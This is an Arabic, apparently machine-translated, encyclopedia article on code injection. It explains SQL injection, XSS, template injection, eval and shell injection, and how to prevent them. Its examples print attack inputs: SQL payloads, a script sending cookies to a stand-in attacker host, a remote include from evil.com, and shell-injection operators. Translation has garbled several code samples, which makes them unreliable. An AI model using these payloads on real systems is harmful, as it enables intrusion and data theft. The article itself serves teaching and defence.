حقن التعليمات البرمجية
يُعدّ حقن التعليمات البرمجية ثغرة أمنية في أنظمة الحاسوب، حيث يفشل البرنامج في معالجة البيانات الخارجية بشكل صحيح، مثل مدخلات المستخدم، مما يؤدي إلى تفسيرها كأوامر تنفيذية. يقوم المهاجم باستخدام هذه الطريقة بحقن التعليمات البرمجية في البرنامج أثناء تشغيله. ويمكن أن يؤدي استغلال ثغرة حقن التعليمات البرمجية بنجاح إلى اختراقات للبيانات ، والوصول إلى أنظمة حاسوبية حساسة أو مقيدة الوصول ، وانتشار البرامج الضارة .
تحدث ثغرات حقن التعليمات البرمجية عندما يرسل تطبيق بيانات غير موثوقة إلى مترجم ، والذي بدوره ينفذ النص المحقون كتعليمات برمجية. غالبًا ما تُكتشف هذه الثغرات في خدمات مثل قواعد بيانات لغة الاستعلامات البنيوية ( SQL )، ومحللات لغة الترميز القابلة للتوسيع ( XML )، وأوامر نظام التشغيل ، وعناوين بروتوكول نقل البريد البسيط ( SMTP )، ومعاملات البرامج الأخرى . يمكن تحديد هذه الثغرات من خلال فحص شفرة المصدر ، [ 1 ] أو التحليل الثابت ، أو أساليب الاختبار الديناميكي مثل اختبار التشويش (fuzzing ). [ 2 ]
توجد أنواع عديدة من ثغرات حقن التعليمات البرمجية، لكن معظمها أخطاء في التفسير؛ إذ تتعامل هذه الثغرات مع مدخلات المستخدم العادية على أنها تعليمات برمجية، أو تفشل في التمييز بين المدخلات وأوامر النظام. ويمكن أن توجد أمثلة كثيرة على أخطاء التفسير خارج نطاق علوم الحاسوب، مثل الفقرة الكوميدية " من هو الأول؟ " . ويمكن استخدام حقن التعليمات البرمجية لأغراض خبيثة عديدة، منها:
- تعديل القيم في قاعدة البيانات بشكل عشوائي عبر حقن SQL ؛ تتراوح آثار ذلك من تشويه مواقع الويب إلى اختراق خطير للبيانات الحساسة . لمزيد من المعلومات، راجع قسم تنفيذ التعليمات البرمجية العشوائية .
- تثبيت البرامج الضارة أو تنفيذ التعليمات البرمجية الخبيثة على خادم عن طريق حقن تعليمات برمجية للخادم (مثل PHP ).
- تصعيد الامتيازات إما إلى أذونات المستخدم الخارق على نظام UNIX عن طريق استغلال ثغرات حقن الصدفة في ملف ثنائي أو إلى امتيازات النظام المحلي على نظام التشغيل Microsoft Windows عن طريق استغلال خدمة داخل نظام التشغيل Windows.
- مهاجمة مستخدمي الويب باستخدام لغة ترميز النص التشعبي ( HTML ) أو حقن البرمجة النصية عبر المواقع ( XSS ).
قد تؤدي عمليات حقن التعليمات البرمجية التي تستهدف إنترنت الأشياء إلى عواقب وخيمة مثل اختراقات البيانات وانقطاع الخدمة. [ 3 ]
يمكن أن تحدث عمليات حقن التعليمات البرمجية في أي نوع من البرامج التي تعمل باستخدام مترجم . يُعدّ هذا الأمر بسيطًا بالنسبة لمعظم المستخدمين، وهو أحد الأسباب الرئيسية لإبعاد برامج الخوادم عن المستخدمين. ومن الأمثلة على كيفية رصد مُخترق التعليمات البرمجية لعمليات الحقن بشكل مباشر، استخدام أدوات مطوري المتصفح .
يسجل المعهد الوطني للمعايير والتكنولوجيا (NIST ) ثغرات حقن التعليمات البرمجية في قاعدة بيانات الثغرات الأمنية الوطنية ( NVD ) تحت مسمى CWE-94 . وبلغت ثغرات حقن التعليمات البرمجية ذروتها في عام 2008 بنسبة 5.66% من إجمالي الثغرات المسجلة. [ 4 ]
الاستخدام الحميد وغير المقصود
قد يتم حقن التعليمات البرمجية بنوايا حسنة. على سبيل المثال، قد يؤدي تغيير أو تعديل سلوك برنامج أو نظام من خلال حقن التعليمات البرمجية إلى جعل النظام يتصرف بطريقة معينة دون وجود نية خبيثة. [ 5 ] [ 6 ] ومن أمثلة حقن التعليمات البرمجية ما يلي:
- أضف عمودًا جديدًا مفيدًا لم يظهر في التصميم الأصلي لصفحة نتائج البحث.
- تقديم طريقة جديدة لتصفية البيانات أو ترتيبها أو تجميعها باستخدام حقل غير معروض في الوظائف الافتراضية للتصميم الأصلي.
- أضف وظائف مثل الاتصال بالموارد عبر الإنترنت في برنامج غير متصل بالإنترنت.
- يمكن تجاوز دالة ما، مما يؤدي إلى إعادة توجيه الاستدعاءات إلى تطبيق آخر. ويمكن القيام بذلك باستخدام الرابط الديناميكي في لينكس . [ 7 ]
قد يقوم بعض المستخدمين، دون علمهم، بتنفيذ عمليات حقن التعليمات البرمجية لأن المدخلات التي قدموها للبرنامج لم يأخذها في الاعتبار مطورو النظام الأصليون. على سبيل المثال:
- قد يحتوي ما يعتبره المستخدم مدخلات صالحة على أحرف أو سلاسل رمزية قام المطور بحجزها لتكون لها معانٍ خاصة (مثل علامة العطف أو علامات الاقتباس).
- قد يقوم المستخدم بإرسال ملف تالف كمدخل يتم التعامل معه بشكل صحيح في أحد التطبيقات ولكنه ضار بالنظام المستقبل.
ومن الاستخدامات الأخرى غير الضارة لتقنية حقن التعليمات البرمجية اكتشاف ثغرات الحقن للعثور على نقاط الضعف وإصلاحها. وهذا ما يُعرف باختبار الاختراق .
وقاية
ولمنع مشاكل حقن التعليمات البرمجية، يمكن للشخص استخدام استراتيجيات آمنة لمعالجة المدخلات والمخرجات، مثل:
- باستخدام واجهة برمجة تطبيقات ( API ) آمنة ضد جميع أحرف الإدخال عند استخدامها بشكل صحيح، تسمح الاستعلامات المُعَلمة بنقل بيانات المستخدم من سلسلة نصية ليتم تفسيرها. بالإضافة إلى ذلك، تتخلى واجهة برمجة تطبيقات المعايير [ 8 ] وواجهات برمجة التطبيقات المماثلة عن مفهوم إنشاء سلاسل الأوامر وتفسيرها.
- فرض الفصل بين اللغات من خلال نظام أنواع ثابت . [ 9 ]
- التحقق من صحة المدخلات أو "تطهيرها"، مثل إضافة القيم الصحيحة المعروفة إلى القائمة البيضاء . يمكن القيام بذلك من جانب العميل، وهو عرضة للتعديل من قبل المستخدمين ذوي النوايا الخبيثة، أو من جانب الخادم، وهو أكثر أمانًا.
- تشفير المدخلات أو تهريب الأحرف الخطرة. على سبيل المثال، في لغة PHP، يمكن استخدام
htmlspecialchars()دالة تهريب الأحرف الخاصة لضمان إخراج نص آمن في HTML، ودالةmysqli::real_escape_string()عزل البيانات التي ستُضمّن في طلب SQL، للحماية من هجمات حقن SQL. - يمكن استخدام ترميز المخرجات لمنع هجمات XSS ضد زوار الموقع الإلكتروني.
- استخدام
HttpOnlyعلامة ملفات تعريف الارتباط HTTP . عند تعيين هذه العلامة، فإنها تمنع تفاعل البرامج النصية من جانب العميل مع ملفات تعريف الارتباط، وبالتالي تمنع بعض هجمات XSS . [ 10 ] - فصل الغلاف المعياري عن النواة .
- فيما يتعلق بهجمات حقن SQL ، يمكن استخدام الاستعلامات المُعَلمة ، والإجراءات المخزنة ، والتحقق من صحة المدخلات باستخدام القوائم البيضاء، وغيرها من الأساليب للمساعدة في الحد من مخاطر الهجوم. [ 11 ] كما أن استخدام ربط الكائنات العلائقية يُسهم في منع المستخدمين من التلاعب المباشر باستعلامات SQL .
تتناول الحلول المذكورة أعلاه بشكل أساسي حقن أكواد HTML أو نصوص برمجية في تطبيقات الخادم عبر الويب. مع ذلك، يجب اتباع أساليب أخرى عند التعامل مع حقن أكواد المستخدم على أجهزة المستخدمين، الأمر الذي غالبًا ما يؤدي إلى هجمات رفع مستوى الصلاحيات. من بين الأساليب المستخدمة للكشف عن حقن الأكواد المُدارة وغير المُدارة وعزلها ما يلي:
- التحقق من صحة تجزئة الصورة في وقت التشغيل ، والذي يتضمن التقاط تجزئة صورة جزئية أو كاملة للملف القابل للتنفيذ المحمل في الذاكرة ومقارنتها بالتجزئات المخزنة والمتوقعة.
- بت NX : تُخزَّن جميع بيانات المستخدم في أقسام ذاكرة خاصة مُعلَّمة بأنها غير قابلة للتنفيذ. يُعلَم المعالج بعدم وجود أي كود في ذلك الجزء من الذاكرة، ويرفض تنفيذ أي شيء موجود فيه.
- استخدم "الكناري" ، وهي قيم تُوضع عشوائيًا في مكدس. أثناء التشغيل، يتم التحقق من قيمة الكناري عند انتهاء دالة. إذا تم تعديل قيمة الكناري، يتوقف البرنامج عن التنفيذ ويخرج. يحدث هذا عند فشل هجوم تجاوز سعة المكدس .
- إخفاء مؤشر الكود (CPM): بعد تحميل مؤشر كود (قد يكون قد تم تغييره) في سجل، يمكن للمستخدم تطبيق قناع بت على المؤشر. هذا يقيد فعليًا العناوين التي يمكن للمؤشر الإشارة إليها. يُستخدم هذا في لغة البرمجة C. [ 12 ]
أمثلة
حقن SQL
يستغل هجوم حقن SQL بنية SQL لحقن أوامر خبيثة يمكنها قراءة قاعدة البيانات أو تعديلها أو المساس بمعنى الاستعلام الأصلي. [ 13 ]
على سبيل المثال، لنفترض صفحة ويب تحتوي على حقلين نصيين يسمحان للمستخدمين بإدخال اسم المستخدم وكلمة المرور لتسجيل الدخول إلى الموقع. سيستقبل كود خادم الويب (الافتراضي) اسم المستخدم وكلمة المرور، وسيُنشئ استعلام SQL للتحقق من وجود اسم المستخدم وصحة كلمة المرور. إذا أعاد الاستعلام أي نتائج، فسيتم منح الوصول.
على سبيل المثال، إذا تم إعطاء اسم المستخدم aliceوكلمة المرور hunter2، فسيقوم الخادم بإنشاء وتشغيل هذا الاستعلام:
حدد اسم المستخدم من قائمة المستخدمين حيث اسم المستخدم يساوي ' alice ' وكلمة المرور تساوي ' hunter2 'لكن إذا قام المهاجم بإدخال hunter2' OR '1'='1كلمة المرور في حقل كلمة المرور، فسيقوم الخادم بإنشاء هذا الاستعلام وتشغيله:
استعلم عن اسم المستخدم من قائمة المستخدمين حيث يكون اسم المستخدم هو 'alice' وكلمة المرور هي ' hunter2 ' أو ' 1 ' = ' 1'بينما hunter2قد تكون كلمة المرور صحيحة أو خاطئة، فإن التعبير '1'='1'صحيح دائمًا وستقوم قاعدة البيانات بإرجاع جميع الصفوف في UserListالجدول - مما يسمح للمهاجم بتسجيل الدخول حتى لو لم يكن لديه كلمة المرور الصحيحة.
يمكن توسيع نطاق هذه التقنية للسماح للمهاجم بتنفيذ عدة أوامر. على سبيل المثال، إذا قدم المهاجم كلمة المرور hunter2'; DROP TABLE UserList; --، فسيكون الاستعلام الناتج كالتالي:
حدد اسم المستخدم من جدول UserList حيث يكون اسم المستخدم هو ' alice' وكلمة المرور هي ' hunter2 ' ؛ ثم احذف جدول UserList .بما أن ;الرمز يشير إلى نهاية عبارة، فمن الممكن بدء عبارة جديدة - في هذه الحالة، DROP TABLE. يشير الرمز --إلى بداية تعليق، مما يُلغي اللاحقة 'التي يُضيفها الخادم عند إنشاء صيغة الاستعلام. نتيجةً لهاتين العبارتين، لن يتم إرجاع أي صفوف (إلا إذا كان اسم المستخدم Username لديه كلمة مرور فارغة)، وسيتم UserListحذف الجدول بأكمله.
بالنسبة لمحركات قواعد البيانات التي توسع لغة SQL للسماح للاستعلامات باستدعاء برامج خارجية، يمكن للمهاجم الحصول على هذه القدرة أيضًا.
البرمجة النصية عبر المواقع
حقن التعليمات البرمجية هو إدخال تعليمات برمجية خبيثة في تطبيق ما. تحتوي بعض خوادم الويب على برنامج نصي لسجل الزوار ، يستقبل رسائل قصيرة من المستخدمين، وعادةً ما يستقبل رسائل مثل:
موقع رائع جداً!ومع ذلك، قد يكون لدى شخص خبيث علم بوجود ثغرة أمنية تسمح بحقن التعليمات البرمجية في دفتر الزوار، فيقوم بإدخال رسالة مثل:
موقع رائع ، أعتقد أنني سأستخدمه. <script> window.location = " https: //some_attacker/evilcgi/cookie.cgi ? steal = " + escape ( document.cookie ) </script>إذا قام مستخدم آخر بزيارة الصفحة، فسيتم تنفيذ الكود المُدخَل. يسمح هذا الكود للمهاجم بانتحال شخصية مستخدم آخر. مع ذلك، قد يتسبب مستخدم غير مُدرك لهذا الخلل البرمجي نفسه في عرض الموقع الإلكتروني لرمز HTML غير صالح.
يُعدّ كلٌّ من HTML وحقن البرامج النصية موضوعين شائعين، ويُطلق عليهما عادةً اسم " البرمجة النصية عبر المواقع " أو "XSS". تشير XSS إلى ثغرة حقن يتم فيها إدخال بيانات المستخدم إلى برنامج نصي على الويب أو ما شابه ذلك في ملف HTML الناتج دون التحقق من وجود أي كود HTML أو برامج نصية.
ترتبط العديد من هذه المشكلات بافتراضات خاطئة حول البيانات المدخلة الممكنة أو تأثيرات البيانات الخاصة. [ 14 ]
حقن القوالب من جانب الخادم
تُستخدم محركات القوالب بكثرة في تطبيقات الويب الحديثة لعرض البيانات الديناميكية. مع ذلك، فإن الاعتماد على بيانات المستخدم غير المُدققة قد يؤدي في كثير من الأحيان إلى ثغرات أمنية خطيرة [ 15 ] ، مثل حقن القوالب من جانب الخادم. ورغم تشابه هذه الثغرة مع البرمجة النصية عبر المواقع ، إلا أن حقن القوالب يُتيح تنفيذ التعليمات البرمجية على خادم الويب بدلاً من متصفح الزائر. يستغل هذا الأسلوب آلية عمل شائعة في تطبيقات الويب، والتي تعتمد عادةً على مدخلات المستخدم والقوالب لعرض صفحة الويب. يوضح المثال أدناه هذه الفكرة، حيث {{visitor_name}}يتم استبدال القالب بالبيانات أثناء عملية العرض.
مرحباً {{visitor_name}} يمكن للمهاجم استغلال هذه الآلية لحقن شيفرة خبيثة في مسار العرض visitor_name. وبحسب تصميم تطبيق الويب، قد يختار حقن شيفرة {{7*'7'}}يمكن للمُعالج تحليلها Hello 7777777. تجدر الإشارة إلى أن خادم الويب الفعلي قد قيّم الشيفرة الخبيثة، وبالتالي قد يكون عرضة لتنفيذ شيفرة عن بُعد .
ثغرات التقييم الديناميكي
تحدث ثغرة الحقن عندما يتمكن المهاجم من التحكم في كل أو جزء من سلسلة الإدخال التي يتم إدخالها في استدعاء دالة . [ 16 ]eval()eval()
$myvar = 'somevalue' ; $x = $_GET [ 'arg' ]; eval ( '$myvar = ' . $x . ';' );evalستُعالج وسيطة " " كـ PHP ، لذا يمكن إضافة أوامر إضافية. على سبيل المثال، إذا تم تعيين "arg" إلى " "، فسيتم تشغيل كود إضافي يقوم بتنفيذ برنامج على الخادم، وفي هذه الحالة " ".10;system('/bin/echo uh-oh')/bin/echo
حقن الكائنات
تسمح لغة PHP بتسلسل وفك تسلسل الكائنات بأكملها . إذا سُمح بإدخال بيانات غير موثوقة إلى دالة فك التسلسل، فمن الممكن استبدال الفئات الموجودة في البرنامج وتنفيذ هجمات خبيثة. [ 17 ] وقد تم اكتشاف هجوم مماثل على نظام إدارة المحتوى Joomla في عام 2013. [ 18 ]
حقن الملفات عن بعد
لنفترض برنامج PHP هذا (الذي يتضمن ملفًا محددًا حسب الطلب):
<?php $color = 'blue' ; if ( isset ( $_GET [ 'color' ])) $color = $_GET [ 'color' ]; require ( $color . '.php' );يتوقع المثال توفير لون، بينما قد يقوم المهاجمون بتوفير COLOR=http://evil.com/exploitما يتسبب في تحميل PHP للملف البعيد.
حقن مُحدد التنسيق
تظهر أخطاء تنسيق السلاسل النصية غالبًا عندما يرغب المبرمج في طباعة سلسلة نصية تحتوي على بيانات مُدخلة من المستخدم. قد يكتب المبرمج خطأً `<format>` printf(buffer)بدلًا من ` printf("%s", buffer)<format>`. في الحالة الأولى، يُفسر البرنامج buffer`<format>` على أنه `<format>` ويُحلل أي تعليمات تنسيق قد يحتويها. أما في الحالة الثانية، فيطبع البرنامج السلسلة النصية على الشاشة كما أراد المبرمج. لنفترض برنامج C قصيرًا يحتوي على متغير محلي من نوع `char array`password يُخزن كلمة مرور؛ يطلب البرنامج من المستخدم إدخال عدد صحيح وسلسلة نصية، ثم يطبع السلسلة النصية التي أدخلها المستخدم.
#include <stdio.h>char input [ 100 ]; int number ; char password [ 10 ] = "Password1" ;printf ( "أدخل عددًا صحيحًا \n " ); scanf ( "%d" , & number ); printf ( "الرجاء إدخال سلسلة نصية \n " ); fgets ( input , sizeof ( input ), stdin );printf ( input ); printf ( " \n " );إذا احتوى مُدخل المستخدم على قائمة من مُحدِّدات التنسيق، مثل %s%s%s%s%s%s%s%s، printf()فسيبدأ البرنامج بالقراءة من المكدس . في النهاية، سيصل أحد %sمُحدِّدات التنسيق إلى عنوان password، الموجود في المكدس، ويطبعه Password1على الشاشة.
بدلاً من ذلك، لطباعة المدخلات بأمان:
printf ( "%s " , input );هذا يُبرمج سلوك التنسيق بشكل ثابت، مما يمنع حقن مُحدد التنسيق.
حقن القذائف
يُطلق على حقن الأوامر (أو حقن الأوامر [ 19 ] ) اسم حقن الأوامر في أنظمة يونكس، ولكنه ينطبق على معظم الأنظمة التي تسمح للبرامج بتنفيذ أوامر سطر الأوامر برمجيًا . إليك مثال على نص برمجي tcsh مُعرّض للاختراق :
#!/bin/tcsh # التحقق من الوسيط # يُخرج "متطابق" إذا كان الوسيط يساوي 1 if ( $1 == 1 ) echo متطابق إذا تم تخزين ما سبق في الملف القابل للتنفيذ ، فسيحاول ./checkأمر الصدفة تنفيذ أمر الصدفة (الافتراضي) بدلاً من مقارنة الوسيط الأول بالقيمة الثابتة 1. هنا، يكون الكود المُستهدف هو الكود الذي يحاول التحقق من المعامل، وهو الكود نفسه الذي ربما كان يحاول التحقق من صحة المعامل للدفاع ضد الهجوم. [ 20 ]./check " 1 ) evil"evil
أي دالة يمكن استخدامها لإنشاء وتنفيذ أمر shell تُعدّ وسيلة محتملة لشنّ هجوم حقن shell. ومن بين هذه الدوال system(): StartProcess()و و System.Diagnostics.Process.Start().
تُعدّ أنظمة العميل والخادم، مثل تفاعل متصفح الويب مع خوادم الويب، عرضةً لهجمات حقن النظام. لنفترض برنامج PHP قصيرًا يمكن تشغيله على خادم ويب لتشغيل برنامج خارجي لاستبدال funnytextكلمة أرسلها المستخدم بكلمة أخرى.
<?php passthru ( "/bin/funnytext " . $_GET [ 'USER_INPUT' ]);تُنشئ الدالة passthruفي البرنامج أعلاه أمرًا برمجيًا يُنفذه خادم الويب. ولأن جزءًا من هذا الأمر مُستمد من عنوان URL الذي يوفره متصفح الويب، فإن هذا يسمح بحقن أوامر خبيثة في عنوان URL . يمكن حقن التعليمات البرمجية في هذا البرنامج بعدة طرق من خلال استغلال بنية ميزات مختلفة في سطر الأوامر (هذه القائمة غير شاملة): [ 21 ]
| ميزة الواجهة | USER_INPUTقيمة | أمر shell الناتج | توضيح |
|---|---|---|---|
| التنفيذ التسلسلي | ; malicious_command | /bin/funnytext ; malicious_command | ينفذ funnytext، ثم ينفذ malicious_command. |
| خطوط الأنابيب | | malicious_command | /bin/funnytext | malicious_command | يرسل مخرجات البرنامج funnytextكمدخلات إلى البرنامج الآخر malicious_command. |
| استبدال الأوامر | `malicious_command` | /bin/funnytext `malicious_command` | يرسل مخرجات malicious_commandكوسيطة إلى funnytext. |
| استبدال الأوامر | $(malicious_command) | /bin/funnytext $(malicious_command) | يرسل مخرجات malicious_commandكوسيطة إلى funnytext. |
| وقائمة | && malicious_command | /bin/funnytext && malicious_command | يتم التنفيذ malicious_commandإذاfunnytext تم إرجاع حالة خروج 0 (نجاح). |
| أو قائمة | || malicious_command | /bin/funnytext || malicious_command | يتم التنفيذ malicious_commandإذاfunnytext تم إرجاع حالة خروج غير صفرية (خطأ). |
| إعادة توجيه المخرجات | > ~/.bashrc | /bin/funnytext > ~/.bashrc | يستبدل محتويات .bashrcالملف بمخرجات الأمر funnytext. |
| إعادة توجيه المدخلات | < ~/.bashrc | /bin/funnytext < ~/.bashrc | يرسل محتويات الملف .bashrcكمدخل إلى funnytext. |
توفر بعض اللغات وظائف للهروب أو الاقتباس بشكل صحيح من السلاسل النصية التي تُستخدم لإنشاء أوامر shell:
مع ذلك، يظل هذا يُلقي بعبء معرفة هذه الدوال وتعلمها على عاتق المبرمجين، ويحثهم على تذكر استخدامها في كل مرة يستخدمون فيها أوامر سطر الأوامر. إضافةً إلى استخدام هذه الدوال، يُنصح أيضًا بالتحقق من صحة مدخلات المستخدم أو تنظيفها.
البديل الأكثر أمانًا هو استخدام واجهات برمجة التطبيقات (APIs) التي تُنفّذ الوظائف المطلوبة مباشرةً في لغة البرمجة المُستخدمة، بدلاً من استدعاء برنامج خارجي في سطر الأوامر، مما يمنع إمكانية حقن البرامج الضارة في سطر الأوامر. على سبيل المثال، بدلاً من تنفيذ وظائف Git عن طريق استدعاء git ...أوامر سطر الأوامر، يُفضّل استخدام واجهة برمجة تطبيقات Git مثل libgit2 .
انظر أيضاً
مراجع
- ↑ "أهم 10 ثغرات أمنية في تطبيقات الويب" . قسم الحوسبة بجامعة بنسلفانيا. مؤرشف من الأصل بتاريخ 24 فبراير 2018. تم الاطلاع عليه بتاريخ 10 ديسمبر 2016 .
- ↑ "أهم 10 ثغرات أمنية لعام 2013 وفقًا لـ OWASP، القسم A1: ثغرات الحقن" . OWASP. مؤرشف من الأصل بتاريخ 28 يناير 2016. تم الاطلاع عليه بتاريخ 19 ديسمبر 2013 .
- ↑ نعمان، هيثم أمين؛ أبو شرخ، أسامة م.ف. (يناير 2023). "هجمات حقن التعليمات البرمجية في إنترنت الأشياء اللاسلكي: مراجعة شاملة وتطبيقات عملية" . مجلة الحساسات . 23 (13): 6067. رمز Bibcode : 2023Senso..23.6067N . doi : 10.3390/s23136067 . ISSN 1424-8220 . PMC 10346793. PMID 37447915 .
- ↑ "NVD - بحث إحصائي" . web.nvd.nist.gov . مؤرشف من الأصل في 15 ديسمبر 2023. تم الاطلاع عليه في 9 ديسمبر 2016 .
- ↑ سرينيفاسان، راغوناثان. "نحو كاشفات فيروسات أكثر فعالية" ( ملف PDF) . جامعة ولاية أريزونا . مؤرشف من الأصل (ملف PDF) في 29 يوليو 2010. تم الاطلاع عليه في 18 سبتمبر 2010.
يحدث الاستخدام الحميد لحقن التعليمات البرمجية عندما يُغير المستخدم سلوك برنامج ما لتلبية متطلبات النظام.
- ↑ موراليس، خوسيه أندريه؛ كارتالتيبي، إرهان؛ شو، شوهواي؛ ساندو، رافي (2010). "الكشف عن عمليات البوت بناءً على الأعراض". أمن شبكات الحاسوب . سلسلة محاضرات في علوم الحاسوب. المجلد 6258. برلين، هايدلبرغ: سبرينغر. الصفحات 229-241 . CiteSeerX 10.1.1.185.2152 . doi : 10.1007/978-3-642-14706-7_18 . ISBN 978-3-642-14705-0ISSN 0302-9743
- ↑ "حيل الرابط الديناميكي: استخدام LD_PRELOAD للتحايل، وإضافة الميزات، وفحص البرامج" . مدونة رافال تشيسلاك . 2 أبريل 2013. مؤرشف من الأصل في 25 ديسمبر 2021. تم الاطلاع عليه في 10 ديسمبر 2016 .
- ↑ "دليل Java EE 6: الفصل 35: استخدام واجهة برمجة تطبيقات المعايير لإنشاء الاستعلامات" . أوراكل. مؤرشف من الأصل في 11 نوفمبر 2013. تم الاطلاع عليه في 19 ديسمبر 2013 .
- ↑ مورتيل، توم (18 أكتوبر 2006). "حل قائم على النوع لمشكلة السلاسل النصية: هل هو حل مناسب لثغرات XSS وحقن SQL؟" . مدونة توم مورتيل . مؤرشف من الأصل في 6 أغسطس 2013. تم الاطلاع عليه في 21 أكتوبر 2018 .
- ↑ "HttpOnly" . OWASP . ١٢ نوفمبر ٢٠١٤. مؤرشف من الأصل في ٢٦ ديسمبر ٢٠٠٨. تم الاطلاع عليه في ١٠ ديسمبر ٢٠١٦ .
- ↑ "دليل مختصر للوقاية من هجمات حقن SQL" . OWASP . مؤرشف من الأصل بتاريخ 20 يناير 2012. تم الاطلاع عليه بتاريخ 10 ديسمبر 2016 .
- ↑ فيليبارتس، بيتر؛ وآخرون . (1 يونيو 2013). "CPM: إخفاء مؤشرات التعليمات البرمجية لمنع هجمات حقن التعليمات البرمجية" ( ملف PDF) . معاملات ACM في أمن المعلومات والأنظمة . 16 (1): 1-27 . doi : 10.1145/2487222.2487223 . ISSN 1094-9224 . S2CID 10947780. مؤرشف (PDF) من الأصل في 24 فبراير 2021. تم الاسترجاع في 21 أكتوبر 2018 .
- ↑ تشو، ز.؛ كاي، ت.؛ تشانغ، ش.؛ ليف، ف. (12 مارس 2021). "الذاكرة طويلة المدى قصيرة المدى على شجرة بناء الجملة المجردة للكشف عن حقن SQL" . مجلة IET للبرمجيات . 15 (2): 188-197 . doi : 10.1049/sfw2.12018 . ISSN 1751-8806 . S2CID 233582569 .
- ↑ هوب، برايان؛ هوب ، باكو؛ والثر، بن (15 مايو 2009). كتاب طبخ اختبار أمان الويب . سيباستوبول، كاليفورنيا: أورايلي ميديا . ص 254. ISBN 978-0-596-51483-9. OCLC 297573828 .
- ↑ "حقن القوالب من جانب الخادم" . بحث بورت سويغر . 5 أغسطس 2015. مؤرشف من الأصل في 22 مايو 2022. تم الاسترجاع في 22 مايو 2022 .
- ↑ كريستي، ستيفن م. (3 مايو 2006). "ثغرات التقييم الديناميكي في تطبيقات PHP" . الإفصاح الكامل (قائمة بريدية). مؤرشف من الأصل في 13 نوفمبر 2009. تم الاطلاع عليه في 21 أكتوبر 2018 .
- ↑ "تحذيرات حول إلغاء تسلسل الدوال" . PHP.net. مؤرشف من الأصل في 9 مايو 2015. تم الاطلاع عليه في 6 يونيو 2014 .
- ↑ "تحليل ثغرة حقن الكائنات في لغة PHP في جوملا" . مؤرشف من الأصل في 2 مارس 2013. تم الاطلاع عليه في 6 يونيو 2014 .
- ↑ "حقن الأوامر" . مؤرشف من الأصل في 20 ديسمبر 2013. تم الاطلاع عليه في 19 ديسمبر 2013 .
- ↑ دوغلاس دبليو جونز، ملاحظات CS:3620، المحاضرة 4 - نصوص شل . مؤرشفة في 24 سبتمبر 2024 في Wayback Machine ، ربيع 2018.
- ↑ "حقن الأوامر - مكتبة بلاك هات" . تم الاطلاع عليه بتاريخ 27 فبراير 2015 .
{{cite web}}: CS1 maint: deprecated archiveal service ( link )
روابط خارجية
- تاديوس بيتراسيك وكريس فاندن بيرغ. " الدفاع ضد هجمات الحقن من خلال تقييم السلاسل الحساسة للسياق (CSSE) "
- مقال إخباري بعنوان " Flux ينتشر على نطاق أوسع - أول حصان طروادة يستخدم حقن التعليمات البرمجية لمنع اكتشافه بواسطة جدار الحماية"
- ينشر موقع "ديلي دبليو تي إف" بانتظام تقارير عن حالات واقعية لثغرات حقن التعليمات البرمجية في البرامج.
- أنواع البرامج الضارة
- استغلالات الحقن
- لغة الآلة
